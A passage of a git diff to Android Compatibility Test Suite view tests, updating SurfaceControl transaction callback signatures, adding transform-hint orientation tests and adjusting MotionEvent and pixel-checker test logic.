     }
@@ -1655,7 +1786,8 @@
         // Create and send an empty transaction with onCommit and onComplete callbacks.
         long surfaceTransaction = nSurfaceTransaction_create();
         TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
-        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction, onCompleteCallback);
+        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction, false /* waitForFence */,
+                onCompleteCallback);
         TimedTransactionListener onCommitCallback = new TimedTransactionListener();
         nSurfaceTransaction_setOnCommitCallback(surfaceTransaction, onCommitCallback);
         nSurfaceTransaction_apply(surfaceTransaction);
@@ -1690,12 +1822,22 @@
                         long surfaceControl = createFromWindow(holder.getSurface());
                         setSolidBuffer(surfaceControl, surfaceTransaction, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
-                        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                        nSurfaceTransaction_setOnCompleteCallback(
+                                surfaceTransaction /* waitForFence */, false,
                                 onCompleteCallback);
                         nSurfaceTransaction_setOnCommitCallback(surfaceTransaction,
                                 onCommitCallback);
                         nSurfaceTransaction_apply(surfaceTransaction);
                         nSurfaceTransaction_delete(surfaceTransaction);
+
+                        // Wait for callbacks to fire.
+                        try {
+                            onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
+                        } catch (InterruptedException e) {
+                        }
+                        if (onCommitCallback.mLatch.getCount() > 0) {
+                            Log.e(TAG, "Failed to wait for commit callback");
+                        }
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -1705,8 +1847,6 @@
                     }
                 });
 
-        // Wait for callbacks to fire.
-        onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
         onCompleteCallback.mLatch.await(1, TimeUnit.SECONDS);
 
         // Validate we got callbacks with a valid latch time.
@@ -1743,17 +1883,21 @@
                         surfaceTransaction = nSurfaceTransaction_create();
                         nSurfaceTransaction_setPosition(surfaceControl, surfaceTransaction, 1, 0);
                         nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
-                                onCompleteCallback);
+                                false /* waitForFence */, onCompleteCallback);
                         nSurfaceTransaction_setOnCommitCallback(surfaceTransaction,
                                 onCommitCallback);
                         nSurfaceTransaction_apply(surfaceTransaction);
                         nSurfaceTransaction_delete(surfaceTransaction);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //10000
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 9000 && pixelCount < 11000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 1) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
 
@@ -1800,7 +1944,7 @@
         long surfaceTransaction = nSurfaceTransaction_create();
         TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
         nSurfaceTransaction_setOnCompleteCallbackWithoutContext(surfaceTransaction,
-                onCompleteCallback);
+                false /* waitForFence */, onCompleteCallback);
         nSurfaceTransaction_apply(surfaceTransaction);
         nSurfaceTransaction_delete(surfaceTransaction);
 
diff --git a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
index 453b07a..25f72b8 100644
--- a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlSyncTest.java
@@ -28,12 +28,12 @@
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.util.IntProperty;
+import android.util.Property;
 import android.view.Gravity;
-import android.view.SurfaceControl;
-import android.view.SurfaceView;
 import android.view.Surface;
+import android.view.SurfaceControl;
 import android.view.View;
-import android.view.ViewGroup;
 import android.view.ViewTreeObserver;
 import android.view.animation.LinearInterpolator;
 import android.view.cts.surfacevalidator.AnimationFactory;
@@ -43,8 +43,6 @@
 import android.view.cts.surfacevalidator.ViewFactory;
 import android.widget.FrameLayout;
 
-import android.util.Log;
-
 import androidx.test.filters.LargeTest;
 import androidx.test.filters.RequiresDevice;
 import androidx.test.rule.ActivityTestRule;
@@ -81,7 +79,7 @@
         return a;
     }
 
-    class GreenSurfaceAnchorView extends View {
+    static class GreenSurfaceAnchorView extends View {
         SurfaceControl mSurfaceControl;
         final Surface mSurface;
         final int[] mLocation = new int[2];
@@ -110,7 +108,6 @@
 
         @Override
         public boolean gatherTransparentRegion(Region region) {
-            boolean opaque = true;
             int w = getWidth();
             int h = getHeight();
             if (w>0 && h>0) {
@@ -155,13 +152,36 @@
         }
     }
 
-    private ViewFactory sGreenSurfaceControlAnchorFactory = context -> {
-        return new GreenSurfaceAnchorView(context);
-    };
+    private static final ViewFactory sGreenSurfaceControlAnchorFactory =
+            GreenSurfaceAnchorView::new;
 
-    private AnimationFactory sTranslateAnimationFactory = view -> {
-        PropertyValuesHolder pvhX = PropertyValuesHolder.ofFloat(View.TRANSLATION_X, 10f, 30f);
-        PropertyValuesHolder pvhY = PropertyValuesHolder.ofFloat(View.TRANSLATION_Y, 10f, 30f);
+    private static final AnimationFactory sTranslateAnimationFactory = view -> {
+        Property<View, Integer> translationX = new IntProperty<View>("translationX") {
+            @Override
+            public void setValue(View object, int value) {
+                object.setTranslationX(value);
+            }
+
+            @Override
+            public Integer get(View object) {
+                return (int) object.getTranslationX();
+            }
+        };
+
+        Property<View, Integer> translationY = new IntProperty<View>("translationY") {
+            @Override
+            public void setValue(View object, int value) {
+                object.setTranslationY(value);
+            }
+
+            @Override
+            public Integer get(View object) {
+                return (int) object.getTranslationY();
+            }
+        };
+
+        PropertyValuesHolder pvhX = PropertyValuesHolder.ofInt(translationX, 10, 30);
+        PropertyValuesHolder pvhY = PropertyValuesHolder.ofInt(translationY, 10, 30);
         return makeInfinite(ObjectAnimator.ofPropertyValuesHolder(view, pvhX, pvhY));
     };
 
diff --git a/tests/tests/view/src/android/view/cts/AttachedSurfaceControlTest.java b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlTest.java
new file mode 100644
index 0000000..8ba340a
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/AttachedSurfaceControlTest.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts;
+
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+import android.view.AttachedSurfaceControl;
+
+import androidx.lifecycle.Lifecycle;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.IntConsumer;
+
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+@SuppressLint("RtlHardcoded")
+@RequiresDevice
+public class AttachedSurfaceControlTest {
+    private static final String TAG = "AttachedSurfaceControlTest";
+
+    private static class TransformHintListener implements
+            AttachedSurfaceControl.OnBufferTransformHintChangedListener {
+        Activity activity;
+        int expectedOrientation;
+        CountDownLatch latch = new CountDownLatch(1);
+        IntConsumer hintConsumer;
+
+        TransformHintListener(Activity activity, int expectedOrientation,
+                IntConsumer hintConsumer) {
+            this.activity = activity;
+            this.expectedOrientation = expectedOrientation;
+            this.hintConsumer = hintConsumer;
+        }
+
+        @Override
+        public void onBufferTransformHintChanged(int hint) {
+            int orientation = activity.getResources().getConfiguration().orientation;
+            Log.d(TAG, "onBufferTransformHintChanged: orientation actual=" + orientation
+                    + " expected=" + expectedOrientation + " transformHint=" + hint);
+            Assert.assertEquals("Failed to switch orientation hint=" + hint, orientation,
+                    expectedOrientation);
+            hintConsumer.accept(hint);
+            latch.countDown();
+            activity.getWindow().getRootSurfaceControl()
+                    .removeOnBufferTransformHintChangedListener(this);
+        }
+    }
+
+
+    @Before
+    public void setup() {
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+        boolean supportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
+                && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE);
+        Assume.assumeTrue(supportsRotation);
+    }
+
+    @Test
+    public void testOnBufferTransformHintChangedListener() throws InterruptedException {
+        final int[] transformHintResult = new int[2];
+        final CountDownLatch[] firstCallback = new CountDownLatch[1];
+        final CountDownLatch[] secondCallback = new CountDownLatch[1];
+        try (ActivityScenario<HandleConfigurationActivity> scenario =
+                     ActivityScenario.launch(HandleConfigurationActivity.class)) {
+            scenario.moveToState(Lifecycle.State.RESUMED);
+            scenario.onActivity(activity -> {
+                int requestedOrientation = getRequestedOrientation(activity);
+                TransformHintListener listener = new TransformHintListener(activity,
+                        requestedOrientation, hint -> transformHintResult[0] = hint);
+                firstCallback[0] = listener.latch;
+                activity.getWindow().getRootSurfaceControl()
+                        .addOnBufferTransformHintChangedListener(listener);
+                setRequestedOrientation(activity, requestedOrientation);
+            });
+            // Check we get a callback since the orientation has changed and we expect transform
+            // hint to change.
+            Assert.assertTrue(firstCallback[0].await(3, TimeUnit.SECONDS));
+
+            // Check the callback value matches the call to get the transform hint.
+            scenario.onActivity(activity -> Assert.assertEquals(transformHintResult[0],
+                    activity.getWindow().getRootSurfaceControl().getBufferTransformHint()));
+
+            scenario.onActivity(activity -> {
+                int requestedOrientation = getRequestedOrientation(activity);
+                TransformHintListener listener = new TransformHintListener(activity,
+                        requestedOrientation, hint -> transformHintResult[1] = hint);
+                secondCallback[0] = listener.latch;
+                activity.getWindow().getRootSurfaceControl()
+                        .addOnBufferTransformHintChangedListener(listener);
+                setRequestedOrientation(activity, requestedOrientation);
+            });
+            // Check we get a callback since the orientation has changed and we expect transform
+            // hint to change.
+            Assert.assertTrue(secondCallback[0].await(3, TimeUnit.SECONDS));
+
+            // Check the callback value matches the call to get the transform hint.
+            scenario.onActivity(activity -> Assert.assertEquals(transformHintResult[1],
+                    activity.getWindow().getRootSurfaceControl().getBufferTransformHint()));
+        }
+
+        // If the app orientation was changed, we should get a different transform hint
+        Assert.assertNotEquals(transformHintResult[0], transformHintResult[1]);
+    }
+
+    private int getRequestedOrientation(Activity activity) {
+        int currentOrientation = activity.getResources().getConfiguration().orientation;
+        return currentOrientation == ORIENTATION_LANDSCAPE ? ORIENTATION_PORTRAIT
+                : ORIENTATION_LANDSCAPE;
+    }
+
+    private void setRequestedOrientation(Activity activity,
+            /* @Configuration.Orientation */ int requestedOrientation) {
+        /* @ActivityInfo.ScreenOrientation */
+        Log.d(TAG, "setRequestedOrientation: requestedOrientation=" + requestedOrientation);
+        int screenOrientation =
+                requestedOrientation == ORIENTATION_LANDSCAPE
+                        ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+                        : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+        activity.setRequestedOrientation(screenOrientation);
+    }
+
+    @Test
+    public void testOnBufferTransformHintChangesFromLandToSea() throws InterruptedException {
+        final int[] transformHintResult = new int[2];
+        final CountDownLatch[] firstCallback = new CountDownLatch[1];
+        final CountDownLatch[] secondCallback = new CountDownLatch[1];
+        try (ActivityScenario<HandleConfigurationActivity> scenario =
+                     ActivityScenario.launch(HandleConfigurationActivity.class)) {
+            scenario.moveToState(Lifecycle.State.RESUMED);
+            scenario.onActivity(activity -> {
+                if (activity.getResources().getConfiguration().orientation
+                        == ORIENTATION_LANDSCAPE) {
+                    return;
+                }
+                TransformHintListener listener = new TransformHintListener(activity,
+                        ORIENTATION_LANDSCAPE, hint -> transformHintResult[0] = hint);
+                firstCallback[0] = listener.latch;
+                activity.getWindow().getRootSurfaceControl()
+                        .addOnBufferTransformHintChangedListener(listener);
+                setRequestedOrientation(activity, ORIENTATION_LANDSCAPE);
+            });
+
+            // If the device is already in landscape, do nothing.
+            if (firstCallback[0] != null) {
+                Assert.assertTrue(firstCallback[0].await(3, TimeUnit.SECONDS));
+            }
+            // Check the callback value matches the call to get the transform hint.
+            scenario.onActivity(activity -> Assert.assertEquals(transformHintResult[0],
+                    activity.getWindow().getRootSurfaceControl().getBufferTransformHint()));
+
+            scenario.onActivity(activity -> {
+                TransformHintListener listener = new TransformHintListener(activity,
+                        ORIENTATION_LANDSCAPE, hint -> transformHintResult[1] = hint);
+                secondCallback[0] = listener.latch;
+                activity.getWindow().getRootSurfaceControl()
+                        .addOnBufferTransformHintChangedListener(listener);
+                activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE);
+            });
+            // Check we get a callback since the orientation has changed and we expect transform
+            // hint to change.
+            Assert.assertTrue(secondCallback[0].await(3, TimeUnit.SECONDS));
+
+            // Check the callback value matches the call to get the transform hint.
+            scenario.onActivity(activity -> Assert.assertEquals(transformHintResult[1],
+                    activity.getWindow().getRootSurfaceControl().getBufferTransformHint()));
+        }
+
+        // If the app orientation was changed, we should get a different transform hint
+        Assert.assertNotEquals(transformHintResult[0], transformHintResult[1]);
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
index c6476bf..a7a3a6a 100644
--- a/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
+++ b/tests/tests/view/src/android/view/cts/FrameMetricsListenerTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.animation.ValueAnimator;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.Handler;
@@ -37,6 +38,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -50,6 +52,7 @@
 public class FrameMetricsListenerTest {
     private Instrumentation mInstrumentation;
     private Activity mActivity;
+    private float mPreviousDurationScale;
 
     @Rule
     public ActivityTestRule<MockActivity> mActivityRule =
@@ -59,6 +62,14 @@
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
+        mPreviousDurationScale = ValueAnimator.getDurationScale();
+        ValueAnimator.setDurationScale(0.0f); // Disable animations during frame metrics tests
+    }
+
+    @After
+    public void tearDown() {
+        // Restore animations to previous animation scale after tests are run
+        ValueAnimator.setDurationScale(mPreviousDurationScale);
     }
 
     private void layout(final int layoutId) throws Throwable {
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java b/tests/tests/view/src/android/view/cts/HandleConfigurationActivity.java
similarity index 60%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
copy to tests/tests/view/src/android/view/cts/HandleConfigurationActivity.java
index e3cbd82..d1d7332 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
+++ b/tests/tests/view/src/android/view/cts/HandleConfigurationActivity.java
@@ -14,18 +14,23 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package android.view.cts;
 
 import android.app.Activity;
-
-import com.android.bedstead.nene.packages.ComponentReference;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.FrameLayout;
 
 /**
- * A reference to an {@link Activity} in a {@link TestApp}.
+ * Test Activity that can handle configuration and size changes.
  */
-public final class UnresolvedTestAppActivity extends TestAppActivityReference {
-    UnresolvedTestAppActivity(TestAppInstanceReference instance,
-            ComponentReference component) {
-        super(instance, component);
+public class HandleConfigurationActivity extends Activity {
+    public View contentView;
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        contentView = new FrameLayout(this);
+        setContentView(contentView);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/MotionEventTest.java b/tests/tests/view/src/android/view/cts/MotionEventTest.java
index 79a5d5f..92e5832 100644
--- a/tests/tests/view/src/android/view/cts/MotionEventTest.java
+++ b/tests/tests/view/src/android/view/cts/MotionEventTest.java
@@ -319,21 +319,40 @@
     }
 
     @Test
-    public void testOffsetLocation() {
+    public void testOffsetLocationForPointerSource() {
         assertEquals(X_3F, mMotionEvent2.getX(), DELTA);
         assertEquals(Y_4F, mMotionEvent2.getY(), DELTA);
+        mMotionEvent2.setSource(InputDevice.SOURCE_TOUCHSCREEN);
 
         float offsetX = 1.0f;
         float offsetY = 1.0f;
         mMotionEvent2.offsetLocation(offsetX, offsetY);
-        withCoords(X_3F + offsetX, Y_4F + offsetY).withPressure(PRESSURE_1F).withSize(SIZE_1F).
-                verifyMatches(mMotionEvent2);
+        withCoords(X_3F + offsetX, Y_4F + offsetY)
+                .withPressure(PRESSURE_1F)
+                .withSize(SIZE_1F)
+                .verifyMatches(mMotionEvent2);
+    }
+
+    @Test
+    public void testNoLocationOffsetForNonPointerSource() {
+        assertEquals(X_3F, mMotionEvent2.getX(), DELTA);
+        assertEquals(Y_4F, mMotionEvent2.getY(), DELTA);
+        mMotionEvent2.setSource(InputDevice.SOURCE_TOUCHPAD);
+
+        float offsetX = 1.0f;
+        float offsetY = 1.0f;
+        mMotionEvent2.offsetLocation(offsetX, offsetY);
+        withCoords(X_3F, Y_4F)
+                .withPressure(PRESSURE_1F)
+                .withSize(SIZE_1F)
+                .verifyMatches(mMotionEvent2);
     }
 
     @Test
     public void testSetLocation() {
         assertEquals(X_3F, mMotionEvent2.getX(), DELTA);
         assertEquals(Y_4F, mMotionEvent2.getY(), DELTA);
+        mMotionEvent2.setSource(InputDevice.SOURCE_TOUCHSCREEN);
 
         mMotionEvent2.setLocation(0.0f, 0.0f);
         withCoords(0.0f, 0.0f).withPressure(PRESSURE_1F).withSize(SIZE_1F).
diff --git a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
index db5915b..01aeb48 100644
--- a/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
+++ b/tests/tests/view/src/android/view/cts/VelocityTrackerTest.java
@@ -20,6 +20,7 @@
 
 import android.os.SystemClock;
 import android.util.Log;
+import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.VelocityTracker;
 
@@ -168,6 +169,8 @@
             final long eventTime = downTime + i * 10;
             int action = i == 0 ? MotionEvent.ACTION_DOWN : MotionEvent.ACTION_MOVE;
             MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, 0, 0, 0);
+            // MotionEvent translation/offset is only applied to pointer sources, like touchscreens.
+            event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
             event.offsetLocation(i * 10, i * 10);
             vt.addMovement(event);
         }
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 2837c98..88c5242 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -2891,6 +2891,28 @@
                 eq(new WindowInsets.Builder().build()));
     }
 
+    @UiThreadTest
+    @Test
+    public void testFindViewById_shouldBeDFS() {
+        View v1 = new View(mContext);
+        View v2 = new View(mContext);
+        View w1 = new View(mContext);
+        View w2 = new View(mContext);
+        v1.setId(2);
+        v2.setId(2);
+        w1.setId(3);
+        w2.setId(3);
+        ViewGroup vg1 = new MockViewGroup(mContext);
+        mMockViewGroup.addView(vg1);
+        vg1.addView(v1);
+        mMockViewGroup.addView(v2);
+        vg1.addView(w1);
+        vg1.addView(w2);
+
+        assertSame(v1, mMockViewGroup.findViewById(2));
+        assertSame(w1, mMockViewGroup.findViewById(3));
+    }
+
     static class MockTextView extends TextView {
 
         public boolean isClearFocusCalled;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 5520a4d..8f548db 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -520,6 +520,10 @@
     public void testAccessPointerIcon() {
         View view = mActivity.findViewById(R.id.pointer_icon_layout);
         MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, 0, 0, 0);
+        // Only pointer sources (SOURCE_CLASS_POINTER) will have translation applied, since only
+        // they refer to locations on the screen. We need to set the source to get
+        // "setLocation" to work.
+        event.setSource(InputDevice.SOURCE_MOUSE);
 
         // First view has pointerIcon="help"
         assertEquals(PointerIcon.getSystemIcon(mActivity, PointerIcon.TYPE_HELP),
diff --git a/tests/tests/view/src/android/view/cts/util/ASurfaceControlTestUtils.java b/tests/tests/view/src/android/view/cts/util/ASurfaceControlTestUtils.java
index 4540e9e..a0926b7 100644
--- a/tests/tests/view/src/android/view/cts/util/ASurfaceControlTestUtils.java
+++ b/tests/tests/view/src/android/view/cts/util/ASurfaceControlTestUtils.java
@@ -27,7 +27,7 @@
     }
 
     public interface TransactionCompleteListener {
-        void onTransactionComplete(long latchTime);
+        void onTransactionComplete(long latchTime, long presentTime);
     }
 
     public static long createSurfaceTransaction() {
@@ -152,9 +152,6 @@
             long surfaceControl, long surfaceTransaction, int right, int top, int left, int bottom);
     public static native void nSurfaceTransaction_setZOrder(
             long surfaceControl, long surfaceTransaction, int z);
-    public static native long nSurfaceTransaction_setOnComplete(long surfaceTransaction);
-    public static native void nSurfaceTransaction_checkOnComplete(long context,
-            long desiredPresentTime);
     public static native long nSurfaceTransaction_setDesiredPresentTime(long surfaceTransaction,
             long desiredPresentTimeOffset);
     public static native void nSurfaceTransaction_setBufferAlpha(long surfaceControl,
@@ -166,11 +163,11 @@
     public static native void nSurfaceTransaction_setEnableBackPressure(long surfaceControl,
             long surfaceTransaction, boolean enableBackPressure);
     public static native void nSurfaceTransaction_setOnCompleteCallback(long surfaceTransaction,
-            TransactionCompleteListener listener);
+            boolean waitForFence, TransactionCompleteListener listener);
     public static native void nSurfaceTransaction_setOnCommitCallback(long surfaceTransaction,
             TransactionCompleteListener listener);
     public static native void nSurfaceTransaction_setOnCompleteCallbackWithoutContext(
-            long surfaceTransaction, TransactionCompleteListener listener);
+            long surfaceTransaction, boolean waitForFence, TransactionCompleteListener listener);
     public static native void nSurfaceTransaction_setOnCommitCallbackWithoutContext(
             long surfaceTransaction, TransactionCompleteListener listener);
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
index a92242a..ccecf85 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
@@ -31,6 +31,7 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
+import android.util.Log;
 import android.view.Gravity;
 import android.view.PointerIcon;
 import android.view.SurfaceHolder;
@@ -46,9 +47,12 @@
 
 public class ASurfaceControlTestActivity extends Activity {
     private static final String TAG = "ASurfaceControlTestActivity";
+    private static final boolean DEBUG = true;
 
     private static final int DEFAULT_LAYOUT_WIDTH = 100;
     private static final int DEFAULT_LAYOUT_HEIGHT = 100;
+    private static final int OFFSET_X = 100;
+    private static final int OFFSET_Y = 100;
     private static final long WAIT_TIMEOUT_S = 5;
 
     private final Handler mHandler = new Handler(Looper.getMainLooper());
@@ -62,6 +66,13 @@
 
     private Instrumentation mInstrumentation;
 
+    private final CountDownLatch mReadyToStart = new CountDownLatch(1);
+
+    @Override
+    public void onEnterAnimationComplete() {
+        mReadyToStart.countDown();
+    }
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -82,6 +93,8 @@
         mLayoutParams = new FrameLayout.LayoutParams(DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                 Gravity.LEFT | Gravity.TOP);
 
+        mLayoutParams.topMargin = OFFSET_Y;
+        mLayoutParams.leftMargin = OFFSET_X;
         mSurfaceView = new SurfaceView(this);
         mSurfaceView.getHolder().setFixedSize(DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT);
 
@@ -91,7 +104,12 @@
     }
 
     public void verifyTest(SurfaceHolder.Callback surfaceHolderCallback,
-            PixelChecker pixelChecker, long delayInMs) {
+            PixelChecker pixelChecker) {
+        try {
+            mReadyToStart.await(5, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+        }
+
         if (mOnWatch) {
             /**
              * Watch devices not supported, since they may not support:
@@ -113,11 +131,11 @@
 
         final CountDownLatch countDownLatch = new CountDownLatch(1);
         UiAutomation uiAutomation = mInstrumentation.getUiAutomation();
-        mHandler.postDelayed(() -> {
+        mHandler.post(() -> {
             mScreenshot = uiAutomation.takeScreenshot(getWindow());
             mParent.removeAllViews();
             countDownLatch.countDown();
-        }, delayInMs);
+        });
 
         try {
             countDownLatch.await(WAIT_TIMEOUT_S, TimeUnit.SECONDS);
@@ -130,12 +148,13 @@
         mScreenshot.recycle();
 
         int numMatchingPixels = pixelChecker.getNumMatchingPixels(swBitmap);
+        Rect bounds = pixelChecker.getBoundsToCheck(swBitmap);
         boolean success = pixelChecker.checkPixels(numMatchingPixels, swBitmap.getWidth(),
                 swBitmap.getHeight());
         swBitmap.recycle();
 
         assertTrue("Actual matched pixels:" + numMatchingPixels
-                + " Bitmap size:" + swBitmap.getWidth() + "x" + swBitmap.getHeight(), success);
+                + " Bitmap size:" + bounds.width() + "x" + bounds.height(), success);
     }
 
     public SurfaceView getSurfaceView() {
@@ -178,23 +197,40 @@
 
     public abstract static class PixelChecker {
         private final PixelColor mPixelColor;
+        private final boolean mLogWhenNoMatch;
 
         public PixelChecker() {
-            mPixelColor = new PixelColor();
+            this(Color.BLACK, true);
         }
 
         public PixelChecker(int color) {
+            this(color, true);
+        }
+
+        public PixelChecker(int color, boolean logWhenNoMatch) {
             mPixelColor = new PixelColor(color);
+            mLogWhenNoMatch = logWhenNoMatch;
         }
 
         int getNumMatchingPixels(Bitmap bitmap) {
             int numMatchingPixels = 0;
+            int numErrorsLogged = 0;
             Rect boundsToCheck = getBoundsToCheck(bitmap);
             for (int x = boundsToCheck.left; x < boundsToCheck.right; x++) {
                 for (int y = boundsToCheck.top; y < boundsToCheck.bottom; y++) {
-                    int color = bitmap.getPixel(x, y);
+                    int color = bitmap.getPixel(x + OFFSET_X, y + OFFSET_Y);
                     if (matchesColor(getExpectedColor(x, y), color)) {
                         numMatchingPixels++;
+                    } else if (DEBUG && mLogWhenNoMatch && numErrorsLogged < 100) {
+                        // We don't want to spam the logcat with errors if something is really
+                        // broken. Only log the first 100 errors.
+                        PixelColor expected = getExpectedColor(x, y);
+                        int expectedColor = Color.argb(expected.mAlpha, expected.mRed,
+                                expected.mGreen, expected.mBlue);
+                        Log.e(TAG, String.format(
+                                "Failed to match (%d, %d) color=0x%08X expected=0x%08X", x, y,
+                                color, expectedColor));
+                        numErrorsLogged++;
                     }
                 }
             }
@@ -220,7 +256,7 @@
         public abstract boolean checkPixels(int matchingPixelCount, int width, int height);
 
         public Rect getBoundsToCheck(Bitmap bitmap) {
-            return new Rect(0, 0, bitmap.getWidth(), bitmap.getHeight());
+            return new Rect(1, 1, DEFAULT_LAYOUT_WIDTH - 1, DEFAULT_LAYOUT_HEIGHT - 1);
         }
 
         public PixelColor getExpectedColor(int x, int y) {
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 4435422..4bdc106 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -60,6 +60,7 @@
 import java.io.IOException;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 public class CapturedActivity extends Activity {
     public static class TestResult {
@@ -101,9 +102,12 @@
     private Point mLogicalDisplaySize = new Point();
     private long mMinimumCaptureDurationMs = 0;
 
+    private AtomicBoolean mIsSharingScreenDenied;
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        mIsSharingScreenDenied = new AtomicBoolean(false);
         final PackageManager packageManager = getPackageManager();
         mOnWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
         if (mOnWatch) {
@@ -191,8 +195,9 @@
         if (requestCode != PERMISSION_CODE) {
             throw new IllegalStateException("Unknown request code: " + requestCode);
         }
-        if (resultCode != RESULT_OK) {
-            throw new IllegalStateException("User denied screen sharing permission");
+        mIsSharingScreenDenied.set(resultCode != RESULT_OK);
+        if (mIsSharingScreenDenied.get()) {
+            return;
         }
